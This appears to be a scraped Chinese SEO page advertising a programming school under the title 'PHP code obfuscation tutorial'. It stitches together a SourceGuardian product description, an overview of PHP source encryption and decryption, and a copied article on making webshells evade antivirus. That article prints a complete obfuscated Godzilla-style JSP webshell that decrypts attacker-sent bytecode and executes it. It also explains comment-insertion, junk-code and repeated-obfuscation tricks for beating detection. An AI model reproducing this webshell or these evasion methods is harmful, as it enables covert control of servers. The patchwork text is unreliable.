php代码混淆教程

2024-10-23
29
php代码混淆教程

单价:¥3.00数量:3.00

市场价:¥3.00折扣价:¥3.00

单位:过期时间:2035-10-23

销售地址:上海浦东 生产地址:上海市浦东工厂

关键词:SourceGuardian代码混淆工具V114官方版SourceGuardian代码混 ...Webshell混淆免杀的一些思路

联系电话:182****0863联系QQ:点击我:

公司网址:合肥卓越城运营管理有限公司——专业互联网推广

专业互联网培训机构——完成蜕变以后轻松拿高薪

电话+V:192606-48052 ,欢迎咨询php代码混淆教程,[python实用课程],[C++单片机原理],[C#、PHP网站搭建],[Nodejs小程序开发],[ios游戏开发],[安卓游戏开发],[教会用大脑用想法赚钱实现阶层跨越]

一、SourceGuardian代码混淆工具V114官方版SourceGuardian代码混...

大家好,关于SourceGuardian(代码混淆工具)V1.14官方版,SourceGuardian(代码混淆工具)V1.14官方版功能简介这个很多人还不知道,现在让我们一起来看看吧!

  SourceGuardian是个专业的编程代码混淆工具,使用它就能防止你辛辛苦苦写的脚本代码被别人所轻易的修改。此工具的原理是通过将PHP源代码编译成字节码格式,然后进行层层加密来保护你的PHP脚本,锁定你的脚本,使其只能在预定义的IP地址、域名或局域网硬件地址上运行。

【功能介绍】

  【新的GUI界面和命令行编码器】我们为SourceGuardian11创建了一个新的GUI,包括Windows、Linux和MacOSX。这个新的图形用户界面与强大的命令行编码器相结合,使您的PHP脚本加密更加容易。

  【支持的PHP版本】SourceGuardian11.4forPHP可与以下版本的PHP配合使用。PHP4,PHP5和PHP7。完全支持PHP7.1、7.2、7.3和7.4。在PHP编码器中,我们一直领先于支持最新版本的PHP。

  【锁定受保护的脚本,使其只能在线运行】可将自定义文本添加到生成的许可证文件中。

  您现在可以只对上次编码会话后更改的文件进行编码。

  支持PHP4、PHP5、PHP7,包括所有新的语言功能。

  线程安全支持。SourceGuardian有一个特殊版本的加载器,适用于线程安全PHP安装。

  【HTML模板和其他非php文件的编码】我们增加了一个选项,让您可以使用SourceGuardian编码器对HTML模板或其他非PHP文件进行编码。HTML模板或其他非PHP文件可以通过编码器进行编码,然后从受保护的脚本代码中读取和解密。作为项目的一部分被编码的模板文件只能从作为同一项目的一部分被编码的保护脚本中使用。不可能使用未编码的脚本或在不同的SourceGuardian项目中编码的脚本的保护模板。

  【内置支持】为了使我们的客户和潜在客户更容易,我们已经在您的应用程序中添加了内置支持。现在,您不用担心我们的邮件会被拦截--我们所有的交流都可以在应用程序中看到。我们也通过电子邮件和服务台提供支持,但这样您可以直接在SourceGuardian中看到您的支持得到了回复。

  【跨平台编码】在一个操作系统下编码的脚本可以在任何其他支持的操作系统下运行。目前我们有Windows、Linux和Macintosh的编码器。受保护的脚本可以在Windows、Linux、OSX、FreeBSD上运行。

【特色说明】

  对于较大的项目,SourceGuardianforPHP提供了一个选项来保护整个项目,这样所有在项目中使用的脚本只能与其他受保护的脚本一起工作。这样脚本可能会从一个未受保护的脚本中包含一个受保护的脚本,这又增加了一个保护级别。

  改进了对特定域名的加密锁定。域名被用作加密密钥的一部分,因此受保护的脚本可能无法从另一个域解密和运行。这是非常强大的。

  软件改进了对IP地址的加密锁定。这与域名锁定类似,但IP地址被用作加密密钥的一部分。这意味着受保护的脚本不能被解密并从另一个IP地址运行。锁定整个PHP项目,如果用未加密的脚本代替其他脚本,或者用另一个SourceGuardian安装的脚本进行加密,那么受保护的脚本将无法运行。这对于保护PHP项目中的设置、密码等是非常理想的。

二、php源代码保护——PHP加密方案分析&解密还原

PHP源代码保护策略详解


PHP作为解释型语言,其源代码保护主要分为三类加密方案,以及两种部署策略。下面我们将深入剖析这些方法。


无扩展方案

  • 源代码混淆:非专业开发者常用的保护手段,简单混淆变量和函数名,如使用压缩、base64或异或编码,但容易被还原,注释可能保留。解密时,如遇到非打印字符或特殊字符编码问题,可通过格式化代码找到关键函数。


  • 手工解密

    对于简单的混淆,可通过调整编码并查找eval函数执行点,找到原始代码。PHP7处理异常时可能需要降级到PHP5.6。


    自动化通用解密

  • PHP扩展:通过编写扩展并HookZend引擎函数,如zend_compile_string,可以获取执行的源代码。如Beast扩展,虽然源码泄露容易导致解密,但可通过ID阿分析找到加密密钥。


  • 源代码混淆与PHP扩展方案比较

    扩展方案的混淆更为深入,加密后执行环境不变,注释可能保留。例如,Beast扩展利用AES加密,但关键密钥隐藏在编译后的扩展中,可通过分析找到并解密。


    高级保护方案

    商业防护方案如_ZendGuard_、_SourceGuardian_、_IonCube_等,常通过修改引擎或直接操作opcode来增加保护,这些方法更难直接还原源代码。


    结论

    在选择PHP源码保护时,应优先考虑opcode或虚拟机方案,如仅使用混淆,虽然能增加阅读难度,但一旦加密扩展被获取,保护效果有限。确保加密扩展的安全性是关键。

    Webshell混淆免杀的一些思路

    2023-11-2817:06·蚁景网安实验室简介

    为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。

    混淆字符

    混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jspwebshell示例。因为java是默认支持unicode编码的。

    Java代码示例:

    然后可以上传vt查杀可以看到还是会被挺多杀软识别的。

    现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。


    利用注释

    利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。

    Java示例:


    然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。


    值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用Strings="/*";code...;Stringss="*/";code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/**/中间的值认为是注释内容从而匹配恶意代码失败。

    改变代码特征

    改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替ifelse,用一些代替写法比如java中的int类型1可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。

    部分代码截图:


    可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。

    全部代码:

    <%@pageimport="java.io.InputStream"%><%@pageimport="javax.crypto.spec.SecretKeySpec"%><%@pageimport="javax.crypto.Cipher"%><%@pageimport="java.io.ByteArrayOutputStream"%><%@pageimport="java.io.OutputStream"%><%@pageimport="java.io.IOException"%><%!Stringxc="u0033u0063u0036u0065u0030"/*u3333*/+/*u3333*/"u0062u0038u0061u0039u0063u0031u0035u0032u0032u0034u0061";classRegisterextendsClassLoader{publicRegister(ClassLoaderusername){super(username);}publicClassQuery/*u3333*/(byte[]password){intlen=password.length;Strings1="/*";Class<?>aClass=super.defineClass(password,0XAFFFF-0XAFFFF,len);Strings2="*/";returnaClass;}}publicbyte[]x(byte[]s,booleanm){//这行代码换了个顺序byte[]bs=xc.getBytes();try{Stringsss="/*";Stringdecode="u0041u0045u0053";Cipherc=Cipher.getInstance(decode);Stringccc="*/";//if代替了原本的三元表达式intflag=0xAFFFF;if(m){flag=1;}else{flag=2;}Stringacaw="/*";c.init(flag,newSecretKeySpec(bs,decode));StringANANAWU="*/";Stringstring1="/*";byte[]bytes=c.doFinal(s);Stringstring12="*/";returnbytes;}catch(Exceptione){returnnull;}}publicvoidrun(Objecto,ByteArrayOutputStreambos,PageContextpageContext){//添加注释/*o.equls(null)*/intx=10;inty=20;//这里有一些毫无意义的操作x=(x+y)*2;y=x-y;StringmeaninglessString="Hello,thisisameaninglessstring.";if(x>y){x=x*2;}else{y=y*2;}Stringsss="/*";o./*o.equls(null)*/equals/*o.equls(null)*/(bos);Stringccc="*/";o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);Stringac="//";o.toString/*o.equls(null)*/();}publicvoidrun2(byte[]data_bytes,HttpSessionsession){Stringpy="u0070u0061u0079"+/*as*/""+"u006cu006fu0061u0064";RegisterREG=newRegister(this.getClass().getClassLoader());Classcs=REG.Query(data_bytes);session.setAttribute(py,cs);}publicObjectos_return(HttpSessionsession){Stringpy="u0070u0061u0079"+/*as*/""+/*sa*/"u006cu006fu0061u0064";returnsession.getAttribute(py);}publicvoidpull(ByteArrayOutputStreambos,OutputStreamos)throwsIOException{byte[]x=x(bos.toByteArray(),true);os.write(x);}publicvoidsetAttribute(HttpServletRequestrequest,Stringkey,Objectvalue){request.setAttribute(key,value);}publicByteArrayOutputStreamgetBos(){ByteArrayOutputStreamarrOut=null;arrOut=newByteArrayOutputStream();returnarrOut;}%><%try{Stringheader=request.getHeader/*o.equls(null)*/("u0043u006fu006eu0074u0065u006eu0074u002du004cu0065u006eu0067u0074u0068");Stringpy="u0070u0061u0079"+/*as*/""+/*sa*/"u006cu006fu0061u0064";intlength=Integer.valueOf/*o.equls(null)*/(header);byte[]data_bytes=newbyte[/*o.equls(null)*/length];InputStreamis=request.getInputStream();//for循环替代了while循环for(int_num=0;_num<data_bytes./*o.equls(null)*/length;_num+=is.read(data_bytes,_num,data_bytes.length));//原本的false变成了!truedata_bytes=x/*o.equls(null)*/(/*o.equls(null)*/data_bytes,/*o.equls(null)*/!true);OutputStreamos=response.getOutputStream();ByteArrayOutputStreambos=getBos();booleanflag=session.getAttribute(py)==null;if(flag){run2(data_bytes,session);}else{setAttribute(request,"u0070u0061u0072u0061u006d"+/*aaaa*/""/*SSS*/+"u0065u0074u0065u0072u0073",data_bytes);Strings="/*";Classcs=(Class)os_return(session);Stringc="*/";Objectf=(cs).newInstance();run(f,bos,pageContext);/*垃圾代码*/inta=10;intb=20;for(inti=0;i<5;i++){a+=b;b-=a;}StringmeaninglessString="Thisisameaninglessstring.";int[]numbers={1,2,3,4,5};for(intnum:numbers){if(num%2==0){//不执行任何操作}else{//不执行任何操作}}/*垃圾代码*/pull(bos,os);}}catch(Exceptione){}%>免杀效果:



    Ps:以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。

    利用代码加密工具

    上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。

    比如随便找一些php在线混淆哥斯拉的webshell


    链接也是没有问题的


    虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。


    经过3次混淆的phpwebshell,反正我是认不出来了。



    类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。


    总结

    文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。

    【WINDRISES EMPLOYMENT PROGRAMMING】尊享对接老板

    电话+V: 192606-48052

    机构由一批拥有10年以上开发管理经验,且来自互联网或研究机构的IT精英组成,负责研究、开发教学模式和课程内容。公司具有完善的课程研发体系,一直走在整个行业发展的前端,在行业内竖立起了良好的品质口碑。

    php代码混淆教程
    拨打电话拨打电话